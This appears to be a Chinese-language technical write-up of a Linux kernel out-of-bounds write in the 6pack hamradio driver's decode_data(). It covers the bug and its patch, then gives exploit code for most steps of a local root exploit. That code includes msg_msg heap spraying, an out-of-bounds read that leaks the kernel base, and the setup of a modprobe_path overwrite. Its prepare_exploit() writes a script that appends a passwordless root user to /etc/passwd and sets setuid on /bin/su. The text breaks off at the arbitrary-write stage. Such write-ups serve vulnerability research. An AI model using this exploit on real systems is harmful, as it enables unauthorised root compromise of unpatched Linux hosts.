影响版本:Linux 2.1.94~v5.13.12。 v5.13.13 版本已修补,漏洞存在了16年,2005年 commit-1da177e4c3f 引入。 评分7.8分,用户需具备 CAP_NET_ADMIN
权限,限制了漏洞的利用。
测试版本:Linux-v5.13.12 测试环境下载地址 — https://github.com/bsauce/kernel_exploit_factory
原exp作者测试环境为 Debian 11 - Kernel 5.10.0-8-amd64
,如果适配其他版本,需修改 sp->cooked_buf
和下一个对象的距离。
编译选项:CONFIG_6PACK=y CONFIG_AX25=y
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
本文exp用到了userfaultfd,但5.11版本开始限制了用户对userfaultfd的使用,所以需根据 first patch 和 second patch 补丁进行回退(去掉SYSCALL_DEFINE1(userfaultfd, int, flags) 函数开头的权限判断语句即可)。
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.13.12.tar.xz
$ tar -xvf linux-5.13.12.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:drivers/net/hamradio/6pack.c
中 decode_data() 函数存在越界写漏洞,用户需具备 CAP_NET_ADMIN
权限。sixpack_decode() 可多次调用 decode_data() ,对输入进行解码并保存到 sixpack->cooked_buf ,sixpack->rx_count_cooked
成员充当访问 sixpack->cooked_buf
的下标,确定写入解码字节的目标偏移。问题是如果多次调用decode_data()
,rx_count_cooked
就会一直递增,直到超过 cooked_buf
的长度(400字节),导致越界写。
补丁:patch 对下标 rx_count_cooked
进行判断,一旦超过400则返回。
diff --git a/drivers/net/hamradio/6pack.c b/drivers/net/hamradio/6pack.c
index fcf3af76b6d7b..8fe8887d506a3 100644
--- a/drivers/net/hamradio/6pack.c
+++ b/drivers/net/hamradio/6pack.c
@@ -827,6 +827,12 @@ static void decode_data(struct sixpack *sp, unsigned char inbyte)
return;
}
+ if (sp->rx_count_cooked + 2 >= sizeof(sp->cooked_buf)) {
+ pr_err("6pack: cooked buffer overrun, data loss\n");
+ sp->rx_count = 0;
+ return;
+ }
+
buf = sp->raw_buf;
sp->cooked_buf[sp->rx_count_cooked++] =
buf[0] | ((buf[1] << 2) & 0xc0);
保护机制:KASLR / SMEP / SMAP / PTI。开启 CONFIG_SLAB_FREELIST_RANDOM / CONFIG_SLAB_FREELIST_HARDENED / CONFIG_HARDENED_USERCOPY
利用总结:
- (1)初始化,绑定到CPU0执行,准备modprobe相关的文件,准备8个页错误处理线程(构造任意写时需要用到,篡改
modprobe_path
); - (2)构造越界读的内存布局,喷射100个
shm_file_data
(kmalloc-32),6个msg_msg
(kmalloc-4k)和msg_msgseg
(kmalloc-32); - (3)越界读泄露内核基址:使漏洞对象
sixpack
占据一个空闲的msg_msg
,并溢出覆写msg_msg->m_ts
,泄露init_ipc_ns
; - (4)任意写篡改
modprobe_path
:等待sixpack
结构重置,释放sixpack
之后的msg_msg
,喷射8个msg_msg
并在copy_from_user()
挂起,触发漏洞篡改msg_msg->next
指向modprobe_path
,放开页错误处理线程的栅栏,篡改modprobe_path
; - (5)提权。
思考:
- (1)可以考虑不用userfaultfd,学习 CVE-2021-43267 的思路,劫持
tty_operations
函数表的ioctl指针,指向任意写gadget(mov QWORD PTR [rdx],rsi
),篡改modprobe_path
。不过开启了CONFIG_SLAB_FREELIST_HARDENED
会导致地址泄露不稳定。 - (2)
CAP_NET_ADMIN
是绕不过去的槛。
1. 漏洞分析
1-1. 6pack协议介绍
6pack协议简介:6pack传输协议用于PC和TNC (Terminal Node Controller) 通过串口进行数据交互。它可以替代KISS协议(AX.25之上的网络互连),AX.25是数据链路层的协议,用于业余分组无线电网络(卫星也用到该协议,例如3CAT2)。
6pack加载方式:可将某个tty的line discipline设置为 N_6PACK。先创建一个ptmx/pts 对(对应主端和从端),从端的行规则设置为 N_6PACK
。
#define N_6PACK 7
int open_ptmx(void)
{
int ptmx;
ptmx = getpt();
if (ptmx < 0)
{
perror("[X] open_ptmx()");
exit(1);
}
grantpt(ptmx);
unlockpt(ptmx);
return ptmx;
}
int open_pts(int fd)
{
int pts;
pts = open(ptsname(fd), 0, 0);
if (pts < 0)
{
perror("[X] open_pts()");
exit(1);
}
return pts;
}
void set_line_discipline(int fd, int ldisc)
{
if (ioctl(fd, TIOCSETD, &ldisc) < 0) // [2]
{
perror("[X] ioctl() TIOCSETD");
exit(1);
}
}
int init_sixpack()
{
int ptmx, pts;
ptmx = open_ptmx();
pts = open_pts(ptmx);
set_line_discipline(pts, N_6PACK); // [1]
return ptmx;
}
从以上代码可以看出,打开ptmx和相应的从端后,调用set_line_discipline()
(就是ioctl(fd, TIOCSETD, &ldisc)
的包装)设置pts的行规则为 N_6PACK
- [1]
。
行规则(Line discipline):也叫做LDISC
,是字符设备和伪终端(或真实硬件)的中间层,决定了设备相关的语义规则。例如,行规则将用户在终端输入的 CTRL+C
与 SIGINT
信号联系到一起,更多的tty/pty/ptmx/pts/ldsc相关知识可参考 The TTY demystified。
6pack初始化:将pts的行规则设置为 N_6PACK
之后,sixpack_init_driver()就会初始化6pack驱动,调用 tty_register_ldisc() 来注册新的行规则。sp_ldisc 存储了函数表。
static int __init sixpack_init_driver(void)
{
int status;
printk(msg_banner);
/* Register the provided line protocol discipline */
if ((status = tty_register_ldisc(N_6PACK, &sp_ldisc)) != 0) // [1]
printk(msg_regfail, status);
return status;
}
static struct tty_ldisc_ops sp_ldisc = {
.owner = THIS_MODULE,
.magic = TTY_LDISC_MAGIC,
.name = "6pack",
.open = sixpack_open, // <----
.close = sixpack_close,
.ioctl = sixpack_ioctl,
.receive_buf = sixpack_receive_buf,
.write_wakeup = sixpack_write_wakeup,
};
打开6pack:可调用 sixpack_open() 打开 sixpack channel。
/*
* Open the high-level part of the 6pack channel.
* This function is called by the TTY module when the
* 6pack line discipline is called for. Because we are
* sure the tty line exists, we only have to link it to
* a free 6pcack channel...
*/
static int sixpack_open(struct tty_struct *tty)
{
char *rbuff = NULL, *xbuff = NULL;
struct net_device *dev;
struct sixpack *sp;
unsigned long len;
int err = 0;
if (!capable(CAP_NET_ADMIN)) // [1] 只有 CAP_NET_ADMIN 权限才能和 6pack 驱动交互
return -EPERM;
if (tty->ops->write == NULL)
return -EOPNOTSUPP;
dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN,
sp_setup); // [2] 分配网络设备 net device, 实际调用 alloc_netdev_mqs()
if (!dev) {
err = -ENOMEM;
goto out;
}
sp = netdev_priv(dev); // [3] 设置 sixpack 结构的起始地址
sp->dev = dev;
... ...
sp->led_state = 0x60;
sp->status = 1; // [4] 设置 status 域
sp->status1 = 1;
sp->status2 = 0;
sp->tx_enable = 0;
netif_start_queue(dev);
timer_setup(&sp->tx_t, sp_xmit_on_air, 0);
timer_setup(&sp->resync_t, resync_tnc, 0); // [5] 设置2个timer,当第2个timer超时后会调用 resync_tnc() 函数 (这对利用很有帮助)
spin_unlock_bh(&sp->lock);
/* Done. We have linked the TTY line to a channel. */
tty->disc_data = sp; // [6] tty line 和 sixpack channel 链接在一起
tty->receive_room = 65536;
/* Now we're ready to register. */
err = register_netdev(dev); // 注册 net device
if (err)
goto out_free;
tnc_init(sp); // [7] 设置超时回调函数 resync_tnc(),一旦超时就调用该函数对sixpack结构进行重置
return 0;
out_free:
kfree(xbuff);
kfree(rbuff);
free_netdev(dev);
out:
return err;
}
// [7] tnc_init() —— 将 sp->resync_t timer 的超时时间设置为 jiffies + SIXP_RESYNC_TIMEOUT
static inline int tnc_init(struct sixpack *sp)
{
unsigned char inbyte = 0xe8;
tnc_set_sync_state(sp, TNC_UNSYNC_STARTUP);
sp->tty->ops->write(sp->tty, &inbyte, 1);
mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); // [7-1] /include/linux/jiffies.h 中定义了 jiffies 全局变量,保存了系统启动后的tick数,每次发生时钟中断都会加1。HZ由CONFIG_HZ确定,HZ = number of ticks/sec, jiffies = number of ticks。这样就能计算时间 sec = jiffies/HZ
// 这就是内核判断超时的方法,例如,超时10s可表示为 jiffies + (10*HZ)
// 这里 SIXP_RESYNC_TIMEOUT = 5*HZ, 表示一旦超时5s, 就会调用 resync_tnc() 函数
return 0;
}
漏洞结构的分配:[2]
- alloc_netdev_mqs():首先分配 net_device 结构,0x940字节,再加上sizeof_priv
的值(sixpack 结构的大小,0x270字节),最终分配0xbcf字节,位于kmalloc-4096
。
// [2]
[...]
alloc_size = sizeof(struct net_device); // 0x940 bytes
if (sizeof_priv) {
/* ensure 32-byte alignment of private area */
alloc_size = ALIGN(alloc_size, NETDEV_ALIGN);
alloc_size += sizeof_priv; // 0x270 bytes
}
/* ensure 32-byte alignment of whole construct */
alloc_size += NETDEV_ALIGN - 1;
p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL);
if (!p)
return NULL;
dev = PTR_ALIGN(p, NETDEV_ALIGN);
[...]
1-2. 到达漏洞点—sixpack_receive_buf()
现在可以与sixpack驱动交互了,当我们往ptmx写时,就会调用sixpack_receive_buf() -> sixpack_decode()
sixpack_decode()
会遍历我们通过sixpack channel
传入的缓冲区(pre_rbuff
),根据每个inbyte
字节的值来走不同的路径,为了走到[4]
,必须满足以下条件:
- (a)
inbyte & SIXP_PRIO_CMD_MASK
必须为0,否则会调用decode_prio_command()
; - (b)
inbyte & SIXP_STD_CMD_MASK
必须为0,否则会调用decode_std_command()
; - (c)
sp->status & SIXP_RX_DCD_MASK
必须等于SIXP_RX_DCD_MASK
。
由于输入字节可控,条件 (a) (b) 很容易满足,而 (c) 需要控制 sixpack->status
,前面分析 sixpack_open()
函数时,这个status
变量被设置为1,如何控制该变量呢?
#define SIXP_FOUND_TNC 0xe9
#define SIXP_PRIO_CMD_MASK 0x80 // 10000000
#define SIXP_PRIO_DATA_MASK 0x38 // 00111000
#define SIXP_RX_DCD_MASK 0x18 // 00011000
#define SIXP_DCD_MASK 0x08 // 1000
/* decode a 6pack packet */
static void sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count)
{
unsigned char inbyte;
int count1;
for (count1 = 0; count1 < count; count1++) {
inbyte = pre_rbuff[count1]; // [1]
if (inbyte == SIXP_FOUND_TNC) {
tnc_set_sync_state(sp, TNC_IN_SYNC);
del_timer(&sp->resync_t);
}
if ((inbyte & SIXP_PRIO_CMD_MASK) != 0) // [2] 10000000
decode_prio_command(sp, inbyte);
else if ((inbyte & SIXP_STD_CMD_MASK) != 0) // [3]
decode_std_command(sp, inbyte);
else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK) // [4] 走到这里
decode_data(sp, inbyte);
}
}
方法:可通过 [2]
— decode_prio_command() 来间接修改 sixpack->status
。
当我们调用 decode_prio_command()
时,如果满足条件 [2-1]
,就可以通过 [2-4]
控制 sp->status
(cmd可控)。目标是将 sp->status
修改为 SIXP_RX_DCD_MASK。
问题:如果满足条件 [2-2]
,则 [2-3]
会清除cmd变量中的 SIXP_RX_DCD_MASK
位,所以必须绕过检查 [2-2]
中的两个条件。但是第1次调用 decode_prio_command()
时,sp->status == 1
,满足第1个条件 ((sp->status & SIXP_DCD_MASK) == 0)
;显然满足第2个条件 ((cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)
,和目标一致。所以第1次必然通过 [2-2]
的检查,必然走到 [2-3]
,必然清除 SIXP_RX_DCD_MASK
位。
解决:可以通过2次调用 decode_prio_command()
来解决问题,第1次调用时,将 sp->status
设置为 SIXP_DCD_MASK
(设置cmd不满足[2-2]
中第2个条件),使得第2次调用时不满足 [2-2]
中第1个条件—((sp->status & SIXP_DCD_MASK) == 0)
(设置sp->status = SIXP_DCD_MASK
)。这样第2次调用时就能避免[2-3]
,直接走到[2-4]
,顺利设置 sp->status = SIXP_RX_DCD_MASK
。
/* identify and execute a 6pack priority command byte */
static void decode_prio_command(struct sixpack *sp, unsigned char cmd)
{
int actual;
if ((cmd & SIXP_PRIO_DATA_MASK) != 0) { // 00111000 [2-1] 需满足本条件
/* RX and DCD flags can only be set in the same prio command,
if the DCD flag has been set without the RX flag in the previous
prio command. If DCD has not been set before, something in the
transmission has gone wrong. In this case, RX and DCD are
cleared in order to prevent the decode_data routine from
reading further data that might be corrupt. */
if (((sp->status & SIXP_DCD_MASK) == 0) && // 1000
((cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)) { // [2-2] 绕过本check
if (sp->status != 1)
printk(KERN_DEBUG "6pack: protocol violation\n");
else
sp->status = 0;
cmd &= ~SIXP_RX_DCD_MASK; // 00011000 [2-3] 如果满足条件[2-2], 则cmd变量中的 SIXP_RX_DCD_MASK 位就会被清除。
}
sp->status = cmd & SIXP_PRIO_DATA_MASK; // 00111000 [2-4] SIXP_RX_DCD_MASK 与 SIXP_PRIO_DATA_MASK 有2个重叠的1,所以能将 sp->status 修改为 SIXP_RX_DCD_MASK
} else { /* output watchdog char if idle */
if ((sp->status2 != 0) && (sp->duplex == 1)) {
sp->led_state = 0x70;
sp->tty->ops->write(sp->tty, &sp->led_state, 1);
sp->tx_enable = 1;
actual = sp->tty->ops->write(sp->tty, sp->xbuff, sp->status2);
sp->xleft -= actual;
sp->xhead += actual;
sp->led_state = 0x60;
sp->status2 = 0;
}
}
/* needed to trigger the TNC watchdog */
sp->tty->ops->write(sp->tty, &sp->led_state, 1);
/* if the state byte has been received, the TNC is present,
so the resync timer can be reset. */
if (sp->tnc_state == TNC_IN_SYNC)
mod_timer(&sp->resync_t, jiffies + SIXP_INIT_RESYNC_TIMEOUT);
sp->status1 = cmd & SIXP_PRIO_DATA_MASK;
}
计算输入字节:其实手算就能算出第1次 input = 10001000
,第2次 input = 10011000
。exp原作者写了python脚本来计算该值:
- 第1次调用
decode_prio_command()
,input = 0x88
,则sp->status = 0x8
; - 第2次调用
decode_prio_command()
,input = 0x98
,则sp->status = 0x18
;不满足条件[2-2]
,跳过[2-3]
,执行[2-4]
。 - 满足条件
(c)
,执行漏洞函数 decode_data()。
print("[*] First call to decode_prio_command():")
for byte in range(0x100):
x = byte
if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command()
if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command()
if (x & SIXP_RX_DCD_MASK) != SIXP_RX_DCD_MASK: # [2] in decode_prio_command()
x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command()
print(f"Input: {hex(byte)} => sp->status = {hex(x)}\n")
break
print("[*] Second call to decode_prio_command():")
for byte in range(0x100):
x = byte
if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command()
if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command()
if (x & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK: # To reach decode_data()
x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command()
print(f"Input: {hex(byte)} => sp->status = {hex(x)}")
break
'''
[*] First call to decode_prio_command():
Input: 0x88 => s->status = 0x8
[*] Second call to decode_prio_command():
Input: 0x98 => s->status = 0x18
'''
1-3. 漏洞分析
decode_data() 漏洞函数:每次调用decode_data()
,就会往 sp->raw_buf
拷贝1字节,当 sp->raw_buf
满3字节,再次调用 decode_data()
时,就会一起解码这3字节并存到 sp->cooked_buf
。sp->cooked_buf
最多400字节,下标变量 sp->rx_count_cooked
不断递增,导致溢出。
问题:由于payload会被decode_data
解码,所以payload必须提前用 encode_sixpack() 来编码。
/* decode 4 sixpack-encoded bytes into 3 data bytes */
static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
unsigned char *buf;
if (sp->rx_count != 3) {
sp->raw_buf[sp->rx_count++] = inbyte; // [1]
return;
}
buf = sp->raw_buf;
sp->cooked_buf[sp->rx_count_cooked++] =
buf[0] | ((buf[1] << 2) & 0xc0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[2] & 0x03) | (inbyte << 2);
sp->rx_count = 0;
}
struct sixpack {
[...]
unsigned char raw_buf[4];
unsigned char cooked_buf[400];
unsigned int rx_count;
unsigned int rx_count_cooked;
[...]
unsigned char status;
[...]
};
2. 漏洞利用
2-1. 利用思路
溢出情况:首先需要分析 sixpack 结构的内存布局,如果我们溢出了 cooked_buf
就会覆盖 rx_count
和 rx_count_cooked
下标变量。
利用思路:已知 rx_count_cooked
变量作为 cooked_buf
缓冲区的下标,如果正确计算溢出值,就能将 rx_count_cooked
修改为一个很大的值,欺骗 decode_data()
函数来覆写下一个对象。
victim对象:下面选择 kmalloc-4096
大小的 vctim 对象,当然是 msg_msg
对象,参见 Linux内核中利用msg_msg结构实现任意地址读写。
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; // [1]
struct msg_msgseg *next; // [2]
void *security;
/* the actual message follows immediately */
};
越界读:将 msg_msg
对象布置在 sixpack
对象之后,msg_msgseg
位于kmalloc-32
。将 msg_msg->m_ts
覆盖的很大,就能调用 msgrcv()
越界读取 kmalloc-32
中的数据,泄露内核基址。
任意写:喷射很多位于kmalloc-4096
的msg_msg
和位于 kmalloc-32
的 msg_msgseg
,每个对象都利用 userfaultfd
来使 load_msg() -> copy_from_user()
挂起。溢出修改 msg_msg->next
指向目标地址,例如当前task的cred结构,本文修改的是 modprobe_path
。一旦解除 copy_from_user()
的挂起,就能修改目标地址的内容。
2-2. GCC 优化对payload构造的影响
溢出偏移计算:首先需计算 sp->cooked_buf
和 sp->rx_count_cooked
的距离、sp->cooked_buf
和下一个对象的距离。本文环境中 sp->rx_count_cooked
位于 sp->cooked_buf[0x194]
,下一个对象位于 sp->cooked_buf[0x688]
。为了篡改下一个对象,我们需要精心覆盖,使 sp->cooked_buf > 0x688
。
GCC优化问题:考虑GCC对 decode_data()
函数的优化。当调用 decode_data()
时,假设 sp->raw_buf
已包含3字节。
- 优化1:GCC优化减少了对
sp->rx_count_cooked
变量的多次访问,在函数开头,先将sp->rx_count_cooked
保存到 eax -[1]
,再mov到 rcx -[2]
。 - 优化2:没有直接将3字节一起写入
sp->cooked_buf
,而是在写入第3个字节—[6]
之前,用eax+3
更新了sp->rx_count_cooked
变量—[5]
。这里很难利用,如果我们使用[3][4]
修改了sp->rx_count_cooked
的前2字节,在修改第3个字节前—[6]
,[5]
又把sp->rx_count_cooked
改回去了。所以一次只能修改sp->rx_count_cooked
中的1个字节。
综上,我们只能利用第3字节写—[6]
修改 sp->rx_count_cooked
的第2个字节(对应偏移sp->cooked_buf[0x195]
),例如,将 sp->cooked_buf[0x195]
中的下标 0x01xx
修改成 0x01xx
,这样就能接着越界写下一个chunk。
static void decode_data(struct sixpack *sp, unsigned char inbyte)
{
unsigned char *buf;
[...]
buf = sp->raw_buf;
sp->cooked_buf[sp->rx_count_cooked++] =
buf[0] | ((buf[1] << 2) & 0xc0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0);
sp->cooked_buf[sp->rx_count_cooked++] =
(buf[2] & 0x03) | (inbyte << 2);
sp->rx_count = 0;
}
decode_data + 00: nop DWORD PTR [rax+rax*1+0x0]
decode_data + 05: movzx r8d,BYTE PTR [rdi+0x35] // r8d = sp->raw_buf[1]
decode_data + 10: [1] mov eax,DWORD PTR [rdi+0x1cc] // eax = sp->rx_count_cooked
decode_data + 16: shl esi,0x2
decode_data + 19: lea edx,[r8*4+0x0]
decode_data + 27: [2] mov rcx,rax // rcx = sp->rx_count_cooked
decode_data + 30: lea r9d,[rax+0x1] // r9d = sp->rx_count_cooked + 1
decode_data + 34: and r8d,0xf
decode_data + 38: and edx,0xffffffc0
decode_data + 41: or dl,BYTE PTR [rdi+0x34] // dl or sp->raw_buf[0]
decode_data + 44: [3] mov BYTE PTR [rdi+rax*1+0x38],dl // Write 1st decoded byte in sp->cooked_buf
decode_data + 48: movzx edx,BYTE PTR [rdi+0x36] // eax = sp->raw_buf[2]
decode_data + 52: lea eax,[rdx*4+0x0]
decode_data + 59: and edx,0x3
decode_data + 62: and eax,0xfffffff0
decode_data + 65: or esi,edx
decode_data + 67: or eax,r8d
decode_data + 70: [4] mov BYTE PTR [rdi+r9*1+0x38],al // Write 2nd decoded byte in sp->cooked_buf
decode_data + 75: lea eax,[rcx+0x3] // eax = sp->rx_count_cooked + 3
decode_data + 78: [5] mov DWORD PTR [rdi+0x1cc],eax // sp->rx_count_cooked = sp->rx_count_cooked + 3
decode_data + 84: lea eax,[rcx+0x2] // eax = sp->rx_count_cooked + 2
decode_data + 87: [6] mov BYTE PTR [rdi+rax*1+0x38],sil // Write 3rd decoded byte in sp->cooked_buf
decode_data + 92: mov DWORD PTR [rdi+0x1c8],0x0 // sp->rx_count = 0
decode_data + 102: ret
对齐问题:由于 decode_data()
一次写3字节到 sp->cooked_buf
,那么每次第3字节都会写到偏移 0x2、0x8、...、0x191、0x194,不能将第3字节写到偏移0x195(也就是 sp->rx_count_cooked
的第2字节)。
解决:我们可以先将偏移0x194(也就是 sp->rx_count_cooked
的第1字节)写为0x90,这时 sp->rx_count_cooked = 0x190
,这样2次调用 decode_data()
后就会将第3字节写入偏移 0x195。
- 首先,当
sp->rx_count_cooked == 0x192
且再次调用decode_data()
时,先将前2字节写入sp->cooked_buf[0x192]
和sp->cooked_buf[0x193]
—[3][4]
指令; - 然后指令
[5]
采用eax+3 == 0x192+3 == 0x195
来更新sp->rx_count_cooked
; - 最后,指令
[6]
修改sp->rx_count_cooked
的第1字节(也就是sp->cooked_buf[0x194]
),使得sp->rx_count_cooked == 0x190
。
现在 sp->rx_count_cooked == 0x190
,再次调用 decode_data()
时操作如下:
- 前2字节写入
sp->cooked_buf
(sp->cooked_buf[0x190]
和sp->cooked_buf[0x191]
); - 更新
sp->rx_count_cooked = eax+3 = 0x190+3 = 0x193
; - 第3字节写入
sp->cooked_buf[0x192]
。
最后调用decode_data()
,将 sp->rx_count_cooked
设置为 0x696:
- 前2字节写入
sp->cooked_buf
(sp->cooked_buf[0x193]
和sp->cooked_buf[0x194]
); - 更新
sp->rx_count_cooked = eax+3 = 0x193+3 = 0x196
; - 第3字节写入
sp->cooked_buf[0x195]
。
2-3. 越界读泄露内核基址
接下来 decode_data()
继续将 0x0e 字节的payload越界写到下一个chunk中。
初始化:由于工作在SMD环境,每个CPU都管理着SLUB分配器中可用的slab(参见kmem_cache_cpu),需要确保在同一个CPU上运行,增大利用成功率,调用 sched_setaffinity() 限制在核0上运行。再调用 prepare_exploit()
来准备 modprobe
所需的文件,执行成功后,程序会新添一个有root权限的用户。
void prepare_exploit()
{
system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/asd");
system("chmod +x /tmp/asd");
system("echo '#!/bin/sh' > /tmp/x");
system("echo 'chmod +s /bin/su' >> /tmp/x"); // Needed for busybox, just in case
system("echo 'echo \"pwn::0:0:pwn:/root:/bin/sh\" >> /etc/passwd' >> /tmp/x"); // [4]
system("chmod +x /tmp/x");
memcpy(buff2 + 0xfc8, "/tmp/x\00", 7);
}
void assign_to_core(int core_id)
{
cpu_set_t mask;
pid_t pid;
pid = getpid();
printf("[*] Assigning process %d to core %d\n", pid, core_id);
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) // [2]
{
perror("[X] sched_setaffinity()");
exit(1);
}
print_affinity();
}
[...]
assign_to_core(0); // [1]
prepare_exploit(); // [3]
[...]
越界读的堆布局:
(1)喷射 shm_file_data 结构占据
kmalloc-32
(调用shmget()分配共享内存,调用 shmat() 附加到调用进程的地址空间),便于泄露 init_ipc_ns 内核地址;(2)接着分配
N_MSG
(本exp中为7)个消息队列—[2]
,每个消息队列发送0xfe8字节的消息(0xfd0字节msg_msg
消息和0x18字节的msg_msgseg
消息)—[3]
,将分配kmalloc-4096
大小的msg_msg
和kmalloc-32
大小的msg_msgseg
;(3)再调用
msgrcv()
释放一个消息—[4]
;(4)初始化 sixpack channel,分配一个
kmalloc-4096
大小的net_device
结构和sixpack
结构。
void alloc_msg_queue_A(int id)
{
if ((qid_A[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("[X] msgget");
exit(1);
}
}
void send_msg(int qid, int size, int type, int c)
{
struct msgbuf
{
long mtype;
char mtext[size - 0x30];
} msg;
msg.mtype = type;
memset(msg.mtext, c, sizeof(msg.mtext));
if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
{
perror("[X] msgsnd");
exit(1);
}
}
void *recv_msg(int qid, size_t size, int type)
{
void *memdump = malloc(size);
if (msgrcv(qid, memdump, size, type, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) < 0)
{
perror("[X] msgrcv");
return NULL;
}
return memdump;
}
void alloc_shm(int i)
{
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
if (shmid[i] < 0)
{
perror("[X] shmget fail");
exit(1);
}
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
if (shmaddr[i] < 0)
{
perror("[X] shmat");
exit(1);
}
}
[...]
puts("[*] Spraying shm_file_data in kmalloc-32...");
for (int i = 0; i < 100; i++)
alloc_shm(shmid[i]); // [1]
puts("[*] Spraying messages in kmalloc-4k...");
for (int i = 0; i < N_MSG; i++)
alloc_msg_queue_A(i); // [2]
for (int i = 0; i < N_MSG; i++)
send_msg(qid_A[i], 0x1018, 1, 'A' + i); // [3]
recv_msg(qid_A[0], 0x1018, 0); // [4]
ptmx = init_sixpack(); // [5]
[...]
现在内存布局如下所示,sixpack
结构后面是 msg_msg
结构。
注意:现在我们不知道sixpack
结构后面跟的是哪一个消息队列的消息,所以暂时用 QID #X 表示。现在可以通过 sixpack channel 来发送payload了。
触发漏洞:
(1)我们调用
generate_paylaod()
来生成和编码payload—[1]
,欺骗decode_data()
将sp->rx_count_cooked
设置为 0x190—[2]
。(2)然后覆写
sp->rx_count_cooked
的第2个字节为0x6,sp->rx_count_cooked == 0x696
—[3]
。(3)
decode_data()
继续往sp->cooked_buf[0x696]
写入,会篡改msg_msg->m_list->prev
指针,由于已知其高位两字节为0xffff,很容易修复—[4]
。(4)覆盖
msg_msg->m_ts
为0x1100,这样调用msgrcv()
就能OOB读,目前不需要覆盖msg_msg->next
—[6]
,所以可以直接编码 buffer —[7]
,设置payload的前2字节为0x88和0x98,以走到漏洞函数,所以前2字节不需要编码,调用sixpack_encode()
时将sp->rx_count
设置为2。
uint8_t *sixpack_encode(uint8_t *src)
{
uint8_t *dest = (uint8_t *)calloc(1, 0x3000);
uint32_t raw_count = 2; // [8]
for (int count = 0; count <= PAGE_SIZE; count++)
{
if ((count % 3) == 0)
{
dest[raw_count++] = (src[count] & 0x3f);
dest[raw_count] = ((src[count] >> 2) & 0x30);
}
else if ((count % 3) == 1)
{
dest[raw_count++] |= (src[count] & 0x0f);
dest[raw_count] = ((src[count] >> 2) & 0x3c);
}
else
{
dest[raw_count++] |= (src[count] & 0x03);
dest[raw_count++] = (src[count] >> 2);
}
}
return dest;
}
uint8_t *generate_payload(uint64_t target)
{
uint8_t *encoded;
memset(buff, 0, PAGE_SIZE);
// sp->rx_count_cooked = 0x190
buff[0x194] = 0x90; // [2]
// sp->rx_count_cooked = 0x696
buff[0x19a] = 0x06; // [3]
// fix upper two bytes of msg_msg.m_list.prev
buff[0x19b] = 0xff; // [4]
buff[0x19c] = 0xff;
// msg_msg.m_ts = 0x1100
buff[0x1a6] = 0x11; // [5]
// msg_msg.next = target
if (target) // [6]
for (int i = 0; i < sizeof(uint64_t); i++)
buff[0x1ad + i] = (target >> (8 * i)) & 0xff;
encoded = sixpack_encode(buff);
// sp->status = 0x18 (to reach decode_data())
encoded[0] = 0x88; // [7]
encoded[1] = 0x98;
return encoded;
}
[...]
payload = generate_payload(0); // [1]
write(ptmx, payload, LEAK_PAYLOAD_SIZE); // [9]
[...]
通过sixpack channel 发送payload,并被sixpack_decode()
处理之后,内存布局如下所示:
篡改msg_msg->m_ts
:现在成功利用 sp->cooked_buf
的溢出将 sp->rx_count_cooked
修改成了 0x696,欺骗 decode_data()
继续往 sp->cooked_buf[0x696]
写入payload,成功覆写了 msg_msg->m_ts
,以下是OOB写发生后的GDB调试结果:
OOB读:由于不知道哪个消息队列的消息位于sixpack
结构后面,我们调用 leak_pointer()
遍历所有队列,直到找到 init_ipc_ns
指针—[2]
,表示找到了正确的消息队列,调用find_message_queue()
找到QID下标—[3]
,最后计算 modprobe_path
地址。如果过程失败了,表示没有任何消息分配在 sixpack
结构之后,只能重新运行exploit(由于kmalloc-4096在内核中很少用到,所以成功率很高)。
void close_queue(int qid)
{
if (msgctl(qid, IPC_RMID, NULL) < 0)
{
perror("[X] msgctl()");
exit(1);
}
}
int find_message_queue(uint16_t tag)
{
switch (tag)
{
case 0x4141: return 0;
case 0x4242: return 1;
case 0x4343: return 2;
case 0x4444: return 3;
case 0x4545: return 4;
case 0x4646: return 5;
default: return -1;
}
}
void leak_pointer(void)
{
uint64_t *leak;
for (int id = 0; id < N_MSG; id ++)
{
leak = (uint64_t *)recv_msg(qid_A[id], 0x1100, 0);
if (leak == NULL)
continue;
for (int i = 0; i < 0x220; i++)
{
if ((leak[i] & 0xffff) == INIT_IPC_NS) // [2]
{
init_ipc_ns = leak[i];
valid_qid = find_message_queue((uint16_t)leak[1]); // [3]
modprobe_path = init_ipc_ns - 0x131040; // [4]
return;
}
}
}
}
[...]
leak_pointer(); // [1]
[...]
以下是触发OOB读的内存布局:
2-4. 越界写篡改modprobe_path
复用sixpack结构:现在知道了 modprobe_path
